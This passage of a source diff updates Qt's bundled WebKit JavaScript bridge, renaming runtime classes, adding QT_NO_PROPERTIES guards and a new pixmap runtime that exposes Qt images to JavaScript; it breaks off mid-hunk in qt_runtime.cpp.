+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BridgeJSC_h
+#define BridgeJSC_h
+
+#if USE(JSC)
+
+#include <runtime/JSString.h>
+#include <wtf/HashMap.h>
+#include <wtf/RefCounted.h>
+#include <wtf/Vector.h>
+
+namespace JSC  {
+
+class ArgList;
+class Identifier;
+class JSGlobalObject;
+class PropertyNameArray;
+class RuntimeMethod;
+
+namespace Bindings {
+
+class Instance;
+class Method;
+class RootObject;
+class RuntimeObject;
+
+typedef Vector<Method*> MethodList;
+
+class Field {
+public:
+    virtual JSValue valueFromInstance(ExecState*, const Instance*) const = 0;
+    virtual void setValueToInstance(ExecState*, const Instance*, JSValue) const = 0;
+
+    virtual ~Field() { }
+};
+
+class Class : public Noncopyable {
+public:
+    virtual MethodList methodsNamed(const Identifier&, Instance*) const = 0;
+    virtual Field* fieldNamed(const Identifier&, Instance*) const = 0;
+    virtual JSValue fallbackObject(ExecState*, Instance*, const Identifier&) { return jsUndefined(); }
+
+    virtual ~Class() { }
+};
+
+typedef void (*KJSDidExecuteFunctionPtr)(ExecState*, JSObject* rootObject);
+
+class Instance : public RefCounted<Instance> {
+public:
+    Instance(PassRefPtr<RootObject>);
+
+    static void setDidExecuteFunction(KJSDidExecuteFunctionPtr func);
+    static KJSDidExecuteFunctionPtr didExecuteFunction();
+
+    // These functions are called before and after the main entry points into
+    // the native implementations.  They can be used to establish and cleanup
+    // any needed state.
+    void begin();
+    void end();
+
+    virtual Class* getClass() const = 0;
+    RuntimeObject* createRuntimeObject(ExecState*);
+    void willInvalidateRuntimeObject();
+    void willDestroyRuntimeObject();
+
+    // Returns false if the value was not set successfully.
+    virtual bool setValueOfUndefinedField(ExecState*, const Identifier&, JSValue) { return false; }
+
+    virtual JSValue getMethod(ExecState* exec, const Identifier& propertyName) = 0;
+    virtual JSValue invokeMethod(ExecState*, RuntimeMethod* method, const ArgList& args) = 0;
+
+    virtual bool supportsInvokeDefaultMethod() const { return false; }
+    virtual JSValue invokeDefaultMethod(ExecState*, const ArgList&) { return jsUndefined(); }
+
+    virtual bool supportsConstruct() const { return false; }
+    virtual JSValue invokeConstruct(ExecState*, const ArgList&) { return JSValue(); }
+
+    virtual void getPropertyNames(ExecState*, PropertyNameArray&) { }
+
+    virtual JSValue defaultValue(ExecState*, PreferredPrimitiveType) const = 0;
+
+    virtual JSValue valueOf(ExecState* exec) const = 0;
+
+    RootObject* rootObject() const;
+
+    virtual ~Instance();
+
+    virtual bool getOwnPropertySlot(JSObject*, ExecState*, const Identifier&, PropertySlot&) { return false; }
+    virtual bool getOwnPropertyDescriptor(JSObject*, ExecState*, const Identifier&, PropertyDescriptor&) { return false; }
+    virtual void put(JSObject*, ExecState*, const Identifier&, JSValue, PutPropertySlot&) { }
+
+protected:
+    virtual void virtualBegin() { }
+    virtual void virtualEnd() { }
+    virtual RuntimeObject* newRuntimeObject(ExecState*);
+
+    RefPtr<RootObject> m_rootObject;
+
+private:
+    RuntimeObject* m_runtimeObject;
+};
+
+class Array : public Noncopyable {
+public:
+    Array(PassRefPtr<RootObject>);
+    virtual ~Array();
+
+    virtual void setValueAt(ExecState*, unsigned index, JSValue) const = 0;
+    virtual JSValue valueAt(ExecState*, unsigned index) const = 0;
+    virtual unsigned int getLength() const = 0;
+
+protected:
+    RefPtr<RootObject> m_rootObject;
+};
+
+const char* signatureForParameters(const ArgList&);
+
+typedef HashMap<RefPtr<UString::Rep>, MethodList*> MethodListMap;
+typedef HashMap<RefPtr<UString::Rep>, Method*> MethodMap;
+typedef HashMap<RefPtr<UString::Rep>, Field*> FieldMap;
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // USE(JSC)
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/npapi.h b/src/3rdparty/webkit/WebCore/bridge/npapi.h
index c6cd557..4a8492e 100644
--- a/src/3rdparty/webkit/WebCore/bridge/npapi.h
+++ b/src/3rdparty/webkit/WebCore/bridge/npapi.h
@@ -50,7 +50,7 @@
 #define JRIEnv  void
 #endif
 
-#ifdef _WIN32
+#if defined(_WIN32) && !defined(__SYMBIAN32__)
 #    ifndef XP_WIN
 #        define XP_WIN 1
 #    endif /* XP_WIN */
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.cpp b/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.cpp
index 09a1544..cfd74d9 100644
--- a/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.cpp
@@ -127,7 +127,7 @@ Field* QtClass::fieldNamed(const Identifier& identifier, Instance* instance) con
 
     QObject* obj = qtinst->getObject();
     UString ustring = identifier.ustring();
-    QString objName((const QChar*)ustring.rep()->data(), ustring.size());
+    QString objName((const QChar*)ustring.rep()->characters(), ustring.size());
     QByteArray ba = objName.toAscii();
 
     // First check for a cached field
@@ -139,6 +139,7 @@ Field* QtClass::fieldNamed(const Identifier& identifier, Instance* instance) con
             // other types so we can delete them later
             if (f->fieldType() == QtField::MetaProperty)
                 return f;
+#ifndef QT_NO_PROPERTIES
             else if (f->fieldType() == QtField::DynamicProperty) {
                 if (obj->dynamicPropertyNames().indexOf(ba) >= 0)
                     return f;
@@ -147,7 +148,9 @@ Field* QtClass::fieldNamed(const Identifier& identifier, Instance* instance) con
                     qtinst->m_fields.remove(objName);
                     delete f;
                 }
-            } else {
+            }
+#endif
+            else {
                 QList<QObject*> children = obj->children();
                 for (int index = 0; index < children.count(); ++index) {
                     QObject *child = children.at(index);
@@ -172,6 +175,7 @@ Field* QtClass::fieldNamed(const Identifier& identifier, Instance* instance) con
             }
         }
 
+#ifndef QT_NO_PROPERTIES
         // Dynamic properties
         index = obj->dynamicPropertyNames().indexOf(ba);
         if (index >= 0) {
@@ -179,6 +183,7 @@ Field* QtClass::fieldNamed(const Identifier& identifier, Instance* instance) con
             qtinst->m_fields.insert(objName, f);
             return f;
         }
+#endif
 
         // Child objects
 
@@ -202,12 +207,14 @@ Field* QtClass::fieldNamed(const Identifier& identifier, Instance* instance) con
         if (qtinst->m_methods.contains(ba))
             return 0;
 
+#ifndef QT_NO_PROPERTIES
         // deleted qobject, but can't throw an error from here (no exec)
         // create a fake QtField that will throw upon access
         if (!f) {
             f = new QtField(ba);
             qtinst->m_fields.insert(objName, f);
         }
+#endif
         return f;
     }
 }
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.h b/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.h
index dc6b130..b7a04cf 100644
--- a/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.h
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_class.h
@@ -20,8 +20,7 @@
 #ifndef BINDINGS_QT_CLASS_H_
 #define BINDINGS_QT_CLASS_H_
 
-#include "runtime.h"
-
+#include "Bridge.h"
 #include "qglobal.h"
 
 QT_BEGIN_NAMESPACE
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.cpp b/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.cpp
index ec362ec..dc6df14 100644
--- a/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.cpp
@@ -44,28 +44,36 @@ typedef QMultiHash<void*, QtInstance*> QObjectInstanceMap;
 static QObjectInstanceMap cachedInstances;
 
 // Derived RuntimeObject
-class QtRuntimeObjectImp : public RuntimeObjectImp {
+class QtRuntimeObject : public RuntimeObject {
 public:
-    QtRuntimeObjectImp(ExecState*, PassRefPtr<Instance>);
+    QtRuntimeObject(ExecState*, PassRefPtr<Instance>);
 
     static const ClassInfo s_info;
 
     virtual void markChildren(MarkStack& markStack)
     {
-        RuntimeObjectImp::markChildren(markStack);
+        RuntimeObject::markChildren(markStack);
         QtInstance* instance = static_cast<QtInstance*>(getInternalInstance());
         if (instance)
             instance->markAggregate(markStack);
     }
 
+    static PassRefPtr<Structure> createStructure(JSValue prototype)
+    {
+        return Structure::create(prototype, TypeInfo(ObjectType,  StructureFlags), AnonymousSlotCount);
+    }
+
+protected:
+    static const unsigned StructureFlags = RuntimeObject::StructureFlags | OverridesMarkChildren;
+
 private:
     virtual const ClassInfo* classInfo() const { return &s_info; }
 };
 
-const ClassInfo QtRuntimeObjectImp::s_info = { "QtRuntimeObject", &RuntimeObjectImp::s_info, 0, 0 };
+const ClassInfo QtRuntimeObject::s_info = { "QtRuntimeObject", &RuntimeObject::s_info, 0, 0 };
 
-QtRuntimeObjectImp::QtRuntimeObjectImp(ExecState* exec, PassRefPtr<Instance> instance)
-    : RuntimeObjectImp(exec, WebCore::deprecatedGetDOMStructure<QtRuntimeObjectImp>(exec), instance)
+QtRuntimeObject::QtRuntimeObject(ExecState* exec, PassRefPtr<Instance> instance)
+    : RuntimeObject(exec, WebCore::deprecatedGetDOMStructure<QtRuntimeObject>(exec), instance)
 {
 }
 
@@ -156,9 +164,9 @@ QtInstance* QtInstance::getInstance(JSObject* object)
 {
     if (!object)
         return 0;
-    if (!object->inherits(&QtRuntimeObjectImp::s_info))
+    if (!object->inherits(&QtRuntimeObject::s_info))
         return 0;
-    return static_cast<QtInstance*>(static_cast<RuntimeObjectImp*>(object)->getInternalInstance());
+    return static_cast<QtInstance*>(static_cast<RuntimeObject*>(object)->getInternalInstance());
 }
 
 Class* QtInstance::getClass() const
@@ -168,10 +176,10 @@ Class* QtInstance::getClass() const
     return m_class;
 }
 
-RuntimeObjectImp* QtInstance::newRuntimeObject(ExecState* exec)
+RuntimeObject* QtInstance::newRuntimeObject(ExecState* exec)
 {
     JSLock lock(SilenceAssertionsOnly);
-    return new (exec) QtRuntimeObjectImp(exec, this);
+    return new (exec) QtRuntimeObject(exec, this);
 }
 
 void QtInstance::markAggregate(MarkStack& markStack)
@@ -212,10 +220,12 @@ void QtInstance::getPropertyNames(ExecState* exec, PropertyNameArray& array)
             }
         }
 
+#ifndef QT_NO_PROPERTIES
         QList<QByteArray> dynProps = obj->dynamicPropertyNames();
         foreach(QByteArray ba, dynProps) {
             array.add(Identifier(exec, ba.constData()));
         }
+#endif
 
         for (i=0; i < meta->methodCount(); i++) {
             QMetaMethod method = meta->method(i);
@@ -226,13 +236,18 @@ void QtInstance::getPropertyNames(ExecState* exec, PropertyNameArray& array)
     }
 }
 
-JSValue QtInstance::invokeMethod(ExecState*, const MethodList&, const ArgList&)
+JSValue QtInstance::getMethod(ExecState* exec, const Identifier& propertyName)
+{
+    MethodList methodList = getClass()->methodsNamed(propertyName, this);
+    return new (exec) RuntimeMethod(exec, propertyName, methodList);
+}
+
+JSValue QtInstance::invokeMethod(ExecState*, RuntimeMethod*, const ArgList&)
 {
     // Implemented via fallbackMethod & QtRuntimeMetaMethod::callAsFunction
     return jsUndefined();
 }
 
-
 JSValue QtInstance::defaultValue(ExecState* exec, PreferredPrimitiveType hint) const
 {
     if (hint == PreferString)
@@ -312,8 +327,10 @@ const char* QtField::name() const
         return m_property.name();
     else if (m_type == ChildObject && m_childObject)
         return m_childObject->objectName().toLatin1();
+#ifndef QT_NO_PROPERTIES
     else if (m_type == DynamicProperty)
         return m_dynamicProperty.constData();
+#endif
     return ""; // deleted child object
 }
 
@@ -331,9 +348,10 @@ JSValue QtField::valueFromInstance(ExecState* exec, const Instance* inst) const
                 return jsUndefined();
         } else if (m_type == ChildObject)
             val = QVariant::fromValue((QObject*) m_childObject);
+#ifndef QT_NO_PROPERTIES
         else if (m_type == DynamicProperty)
             val = obj->property(m_dynamicProperty);
-
+#endif
         return convertQVariantToValue(exec, inst->rootObject(), val);
     } else {
         QString msg = QString(QLatin1String("cannot access member `%1' of deleted QObject")).arg(QLatin1String(name()));
@@ -358,8 +376,11 @@ void QtField::setValueToInstance(ExecState* exec, const Instance* inst, JSValue
         if (m_type == MetaProperty) {
             if (m_property.isWritable())
                 m_property.write(obj, val);
-        } else if (m_type == DynamicProperty)
+        }
+#ifndef QT_NO_PROPERTIES
+        else if (m_type == DynamicProperty)
             obj->setProperty(m_dynamicProperty.constData(), val);
+#endif
     } else {
         QString msg = QString(QLatin1String("cannot access member `%1' of deleted QObject")).arg(QLatin1String(name()));
         throwError(exec, GeneralError, msg.toLatin1().constData());
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.h b/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.h
index 0afc6c7..607f133 100644
--- a/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.h
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_instance.h
@@ -20,11 +20,11 @@
 #ifndef BINDINGS_QT_INSTANCE_H_
 #define BINDINGS_QT_INSTANCE_H_
 
-#include <QtScript/qscriptengine.h>
-#include "runtime.h"
+#include "Bridge.h"
 #include "runtime_root.h"
-#include <qpointer.h>
+#include <QtScript/qscriptengine.h>
 #include <qhash.h>
+#include <qpointer.h>
 #include <qset.h>
 
 namespace JSC {
@@ -40,7 +40,7 @@ public:
     ~QtInstance();
 
     virtual Class* getClass() const;
-    virtual RuntimeObjectImp* newRuntimeObject(ExecState*);
+    virtual RuntimeObject* newRuntimeObject(ExecState*);
 
     virtual void begin();
     virtual void end();
@@ -50,7 +50,8 @@ public:
 
     void markAggregate(MarkStack&);
 
-    virtual JSValue invokeMethod(ExecState*, const MethodList&, const ArgList&);
+    virtual JSValue getMethod(ExecState* exec, const Identifier& propertyName);
+    virtual JSValue invokeMethod(ExecState*, RuntimeMethod*, const ArgList&);
 
     virtual void getPropertyNames(ExecState*, PropertyNameArray&);
 
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_pixmapruntime.cpp b/src/3rdparty/webkit/WebCore/bridge/qt/qt_pixmapruntime.cpp
new file mode 100644
index 0000000..803316d
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_pixmapruntime.cpp
@@ -0,0 +1,362 @@
+/*
+ * Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ *
+ */
+#include "config.h"
+#include "qt_pixmapruntime.h"
+
+#include "CachedImage.h"
+#include "HTMLImageElement.h"
+#include "JSGlobalObject.h"
+#include "JSHTMLImageElement.h"
+#include "JSLock.h"
+#include "ObjectPrototype.h"
+#include "StillImageQt.h"
+#include <QBuffer>
+#include <QByteArray>
+#include <QImage>
+#include <QPixmap>
+#include <QVariant>
+#include <runtime_object.h>
+#include <runtime_root.h>
+#include <runtime_method.h>
+
+using namespace WebCore;
+namespace JSC {
+
+namespace Bindings {
+
+class QtPixmapClass : public Class {
+public:
+    QtPixmapClass();
+    virtual MethodList methodsNamed(const Identifier&, Instance*) const;
+    virtual Field* fieldNamed(const Identifier&, Instance*) const;
+};
+
+
+class QtPixmapWidthField : public Field {
+public:
+    static const char* name() { return "width"; }
+    virtual JSValue valueFromInstance(ExecState* exec, const Instance* instance) const
+    {
+        return jsNumber(exec, static_cast<const QtPixmapInstance*>(instance)->width());
+    }
+    virtual void setValueToInstance(ExecState*, const Instance*, JSValue) const {}
+};
+
+class QtPixmapHeightField : public Field {
+public:
+    static const char* name() { return "height"; }
+    virtual JSValue valueFromInstance(ExecState* exec, const Instance* instance) const
+    {
+        return jsNumber(exec, static_cast<const QtPixmapInstance*>(instance)->height());
+    }
+    virtual void setValueToInstance(ExecState*, const Instance*, JSValue) const {}
+};
+
+class QtPixmapRuntimeMethod : public Method {
+public:
+    virtual int numParameters() const
+    {
+        return 0;
+    }
+    virtual JSValue invoke(ExecState* exec, QtPixmapInstance*, const ArgList&) = 0;
+
+};
+
+// this function receives an HTML image element as a parameter, makes it display the pixmap/image from Qt
+class QtPixmapAssignToElementMethod : public QtPixmapRuntimeMethod {
+public:
+    static const char* name() { return "assignToHTMLImageElement"; }
+    JSValue invoke(ExecState* exec, QtPixmapInstance* instance, const ArgList& args)
+    {
+        if (!args.size())
+            return jsUndefined();
+
+        JSObject* objectArg = args.at(0).toObject(exec);
+        if (!objectArg)
+            return jsUndefined();
+
+        if (!objectArg->inherits(&JSHTMLImageElement::s_info))
+            return jsUndefined();
+
+        // we now know that we have a valid <img> element as the argument, we can attach the pixmap to it.
+        PassRefPtr<StillImage> stillImage = WebCore::StillImage::create(instance->toPixmap());
+        HTMLImageElement* imageElement = static_cast<HTMLImageElement*>(static_cast<JSHTMLImageElement*>(objectArg)->impl());
+        imageElement->setCachedImage(new CachedImage(stillImage.get()));
+        JSDOMGlobalObject* global = static_cast<JSDOMGlobalObject*>(instance->rootObject()->globalObject());
+        toJS(exec, global, imageElement->document());
+        return jsUndefined();
+    }
+
+    virtual int numParameters() const
+    {
+        return 1;
+    }
+};
+
+// this function encodes the image to a dataUrl, to be used in background etc. Note: very slow.
+class QtPixmapToDataUrlMethod : public QtPixmapRuntimeMethod {
+public:
+    static const char* name() { return "toDataUrl"; }
+    JSValue invoke(ExecState* exec, QtPixmapInstance* instance, const ArgList&)
+    {
+        QByteArray byteArray;
+        QBuffer buffer(&byteArray);
+        instance->toImage().save(&buffer, "PNG");
+        const QString encodedString = QString("data:image/png;base64,") + byteArray.toBase64();
+        const UString ustring((UChar*)encodedString.utf16(), encodedString.length());
+        return jsString(exec, ustring);
+    }
+};
+
+class QtPixmapToStringMethod : public QtPixmapRuntimeMethod {
+    public:
+    static const char* name() { return "toString"; }
+    JSValue invoke(ExecState* exec, QtPixmapInstance* instance, const ArgList&)
+    {
+        return instance->valueOf(exec);
+    }
+};
+
+struct QtPixmapMetaData {
+    QtPixmapToDataUrlMethod toDataUrlMethod;
+    QtPixmapAssignToElementMethod assignToElementMethod;
+    QtPixmapToStringMethod toStringMethod;
+    QtPixmapHeightField heightField;
+    QtPixmapWidthField widthField;
+    QtPixmapClass cls;
+} qt_pixmap_metaData;
+
+// Derived RuntimeObject
+class QtPixmapRuntimeObject : public RuntimeObject {
+public:
+    QtPixmapRuntimeObject(ExecState*, PassRefPtr<Instance>);
+
+    static const ClassInfo s_info;
+
+    static PassRefPtr<Structure> createStructure(JSValue prototype)
+    {
+        return Structure::create(prototype, TypeInfo(ObjectType,  StructureFlags), AnonymousSlotCount);
+    }
+
+protected:
+    static const unsigned StructureFlags = RuntimeObject::StructureFlags | OverridesMarkChildren;
+
+private:
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+};
+
+QtPixmapRuntimeObject::QtPixmapRuntimeObject(ExecState* exec, PassRefPtr<Instance> instance)
+    : RuntimeObject(exec, WebCore::deprecatedGetDOMStructure<QtPixmapRuntimeObject>(exec), instance)
+{
+}
+
+const ClassInfo QtPixmapRuntimeObject::s_info = { "QtPixmapRuntimeObject", &RuntimeObject::s_info, 0, 0 };
+
+QtPixmapClass::QtPixmapClass()
+{
+}
+
+
+Class* QtPixmapInstance::getClass() const
+{
+    return &qt_pixmap_metaData.cls;
+}
+
+JSValue QtPixmapInstance::getMethod(ExecState* exec, const Identifier& propertyName)
+{
+    MethodList methodList = getClass()->methodsNamed(propertyName, this);
+    return new (exec) RuntimeMethod(exec, propertyName, methodList);
+}
+
+JSValue QtPixmapInstance::invokeMethod(ExecState* exec, RuntimeMethod* runtimeMethod, const ArgList& args)
+{
+    const MethodList& methods = *runtimeMethod->methods();
+
+    if (methods.size() == 1) {
+        QtPixmapRuntimeMethod* method = static_cast<QtPixmapRuntimeMethod*>(methods[0]);
+        return method->invoke(exec, this, args);
+    }
+    return jsUndefined();
+}
+
+MethodList QtPixmapClass::methodsNamed(const Identifier& identifier, Instance*) const
+{
+    MethodList methods;
+    if (identifier == QtPixmapToDataUrlMethod::name())
+        methods.append(&qt_pixmap_metaData.toDataUrlMethod);
+    else if (identifier == QtPixmapAssignToElementMethod::name())
+        methods.append(&qt_pixmap_metaData.assignToElementMethod);
+    else if (identifier == QtPixmapToStringMethod::name())
+        methods.append(&qt_pixmap_metaData.toStringMethod);
+    return methods;
+}
+
+Field* QtPixmapClass::fieldNamed(const Identifier& identifier, Instance*) const
+{
+    if (identifier == QtPixmapWidthField::name())
+        return &qt_pixmap_metaData.widthField;
+    if (identifier == QtPixmapHeightField::name())
+        return &qt_pixmap_metaData.heightField;
+    return 0;
+}
+
+void QtPixmapInstance::getPropertyNames(ExecState*exec, PropertyNameArray& arr)
+{
+    arr.add(Identifier(exec, UString(QtPixmapToDataUrlMethod::name())));
+    arr.add(Identifier(exec, UString(QtPixmapAssignToElementMethod::name())));
+    arr.add(Identifier(exec, UString(QtPixmapToStringMethod::name())));
+    arr.add(Identifier(exec, UString(QtPixmapWidthField::name())));
+    arr.add(Identifier(exec, UString(QtPixmapHeightField::name())));
+}
+
+JSValue QtPixmapInstance::defaultValue(ExecState* exec, PreferredPrimitiveType ptype) const
+{
+    if (ptype == PreferNumber) {
+        return jsBoolean(
+                (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QImage>()) && !(data.value<QImage>()).isNull())
+                || (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QPixmap>()) && !data.value<QPixmap>().isNull()));
+    }
+
+    if (ptype == PreferString)
+        return valueOf(exec);
+
+    return jsUndefined();
+}
+
+JSValue QtPixmapInstance::valueOf(ExecState* exec) const
+{
+    const QString stringValue = QString("[Qt Native Pixmap %1,%2]").arg(width()).arg(height());
+    UString ustring((UChar*)stringValue.utf16(), stringValue.length());
+    return jsString(exec, ustring);
+}
+
+QtPixmapInstance::QtPixmapInstance(PassRefPtr<RootObject> rootObj, const QVariant& d)
+        :Instance(rootObj), data(d)
+{
+}
+
+int QtPixmapInstance::width() const
+{
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QPixmap>()))
+        return data.value<QPixmap>().width();
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QImage>()))
+        return data.value<QImage>().width();
+    return 0;
+}
+
+int QtPixmapInstance::height() const
+{
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QPixmap>()))
+        return data.value<QPixmap>().height();
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QImage>()))
+        return data.value<QImage>().height();
+    return 0;
+}
+
+QPixmap QtPixmapInstance::toPixmap()
+{
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QPixmap>()))
+        return data.value<QPixmap>();
+
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QImage>())) {
+        const QPixmap pixmap = QPixmap::fromImage(data.value<QImage>());
+        data = QVariant::fromValue<QPixmap>(pixmap);
+        return pixmap;
+    }
+
+    return QPixmap();
+}
+
+QImage QtPixmapInstance::toImage()
+{
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QImage>()))
+        return data.value<QImage>();
+
+    if (data.type() == static_cast<QVariant::Type>(qMetaTypeId<QPixmap>())) {
+        const QImage image = data.value<QPixmap>().toImage();
+        data = QVariant::fromValue<QImage>(image);
+        return image;
+    }
+
+    return QImage();
+}
+
+QVariant QtPixmapInstance::variantFromObject(JSObject* object, QMetaType::Type hint)
+{
+    if (!object)
+        goto returnEmptyVariant;
+
+    if (object->inherits(&JSHTMLImageElement::s_info)) {
+        JSHTMLImageElement* elementJSWrapper = static_cast<JSHTMLImageElement*>(object);
+        HTMLImageElement* imageElement = static_cast<HTMLImageElement*>(elementJSWrapper->impl());
+
+        if (!imageElement)
+            goto returnEmptyVariant;
+
+        CachedImage* cachedImage = imageElement->cachedImage();
+        if (!cachedImage)
+            goto returnEmptyVariant;
+
+        Image* image = cachedImage->image();
+        if (!image)
+            goto returnEmptyVariant;
+
+        QPixmap* pixmap = image->nativeImageForCurrentFrame();
+        if (!pixmap)
+            goto returnEmptyVariant;
+
+        return (hint == static_cast<QMetaType::Type>(qMetaTypeId<QPixmap>()))
+                  ? QVariant::fromValue<QPixmap>(*pixmap)
+                  : QVariant::fromValue<QImage>(pixmap->toImage());
+    }
+
+    if (object->inherits(&QtPixmapRuntimeObject::s_info)) {
+        QtPixmapRuntimeObject* runtimeObject = static_cast<QtPixmapRuntimeObject*>(object);
+        QtPixmapInstance* instance = static_cast<QtPixmapInstance*>(runtimeObject->getInternalInstance());
+        if (!instance)
+            goto returnEmptyVariant;
+
+        if (hint == qMetaTypeId<QPixmap>())
+            return QVariant::fromValue<QPixmap>(instance->toPixmap());
+
+        if (hint == qMetaTypeId<QImage>())
+            return QVariant::fromValue<QImage>(instance->toImage());
+    }
+
+returnEmptyVariant:
+    if (hint == qMetaTypeId<QPixmap>())
+        return QVariant::fromValue<QPixmap>(QPixmap());
+    if (hint == qMetaTypeId<QImage>())
+        return QVariant::fromValue<QImage>(QImage());
+    return QVariant();
+}
+JSObject* QtPixmapInstance::createRuntimeObject(ExecState* exec, PassRefPtr<RootObject> root, const QVariant& data)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    return new(exec) QtPixmapRuntimeObject(exec, new QtPixmapInstance(root, data));
+}
+
+bool QtPixmapInstance::canHandle(QMetaType::Type hint)
+{
+    return hint == qMetaTypeId<QImage>() || hint == qMetaTypeId<QPixmap>();
+}
+
+}
+
+}
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_pixmapruntime.h b/src/3rdparty/webkit/WebCore/bridge/qt/qt_pixmapruntime.h
new file mode 100644
index 0000000..a0e0e26
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_pixmapruntime.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ *
+ */
+
+#ifndef qt_pixmapruntime_h
+#define qt_pixmapruntime_h
+
+#include "Bridge.h"
+#include <QVariant>
+
+namespace JSC {
+
+namespace Bindings {
+
+class QtPixmapInstance : public Instance {
+    QVariant data;
+public:
+    QtPixmapInstance(PassRefPtr<RootObject> rootObj, const QVariant& newData);
+    virtual Class* getClass() const;
+    virtual JSValue getMethod(ExecState* exec, const Identifier& propertyName);
+    virtual JSValue invokeMethod(ExecState*, RuntimeMethod*, const ArgList& args);
+    virtual void getPropertyNames(ExecState*, PropertyNameArray&);
+
+    virtual JSValue defaultValue(ExecState*, PreferredPrimitiveType) const;
+    virtual JSValue valueOf(ExecState* exec) const;
+    int width() const;
+    int height() const;
+    QPixmap toPixmap();
+    QImage toImage();
+    static JSObject* createRuntimeObject(ExecState*, PassRefPtr<RootObject>, const QVariant&);
+    static QVariant variantFromObject(JSObject*, QMetaType::Type hint);
+    static bool canHandle(QMetaType::Type hint);
+};
+
+}
+
+}
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.cpp b/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.cpp
index ee7aa1a..3bd5190 100644
--- a/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.cpp
+++ b/src/3rdparty/webkit/WebCore/bridge/qt/qt_runtime.cpp
@@ -29,7 +29,10 @@
 #include "JSArray.h"
 #include "JSByteArray.h"
 #include "JSDOMBinding.h"
+#include "JSDOMWindow.h"
+#include <JSFunction.h>
 #include "JSGlobalObject.h"
+#include "JSHTMLElement.h"
 #include "JSLock.h"
 #include "JSObject.h"
 #include "ObjectPrototype.h"
@@ -43,10 +46,10 @@
 #include "qobject.h"
 #include "qstringlist.h"
 #include "qt_instance.h"
+#include "qt_pixmapruntime.h"
 #include "qvarlengtharray.h"
-#include <JSFunction.h>
+#include "qwebelement.h"
 #include <limits.h>
-#include <runtime.h>
 #include <runtime/Error.h>
 #include <runtime_array.h>
 #include <runtime_object.h>
@@ -114,6 +117,21 @@ QDebug operator<<(QDebug dbg, const JSRealType &c)
 }
 #endif
 
+// this is here as a proxy, so we'd have a class to friend in QWebElement,
+// as getting/setting a WebCore in QWebElement is private
+class QtWebElementRuntime {
+public:
+    static QWebElement create(Element* element)
+    {
+        return QWebElement(element);
+    }
+
+    static Element* get(const QWebElement& element)
+    {
+        return element.m_element;
+    }
+};
+
 static JSRealType valueRealType(ExecState* exec, JSValue val)
 {
     if (val.isNumber())
@@ -136,7 +154,7 @@ static JSRealType valueRealType(ExecState* exec, JSValue val)
             return Date;
         else if (object->inherits(&RegExpObject::info))
             return RegExp;
-        else if (object->inherits(&RuntimeObjectImp::s_info))
+        else if (object->inherits(&RuntimeObject::s_info))
             return QObj;
         return Object;
     }
@@ -290,7 +308,7 @@ QVariant convertValueToQVariant(ExecState* exec, JSValue value, QMetaType::Type
                     dist = 6;
             } else {
                 UString str = value.toString(exec);
-                ret = QVariant(QChar(str.size() ? *(const ushort*)str.rep()->data() : 0));
+                ret = QVariant(QChar(str.size() ? *(const ushort*)str.rep()->characters() : 0));
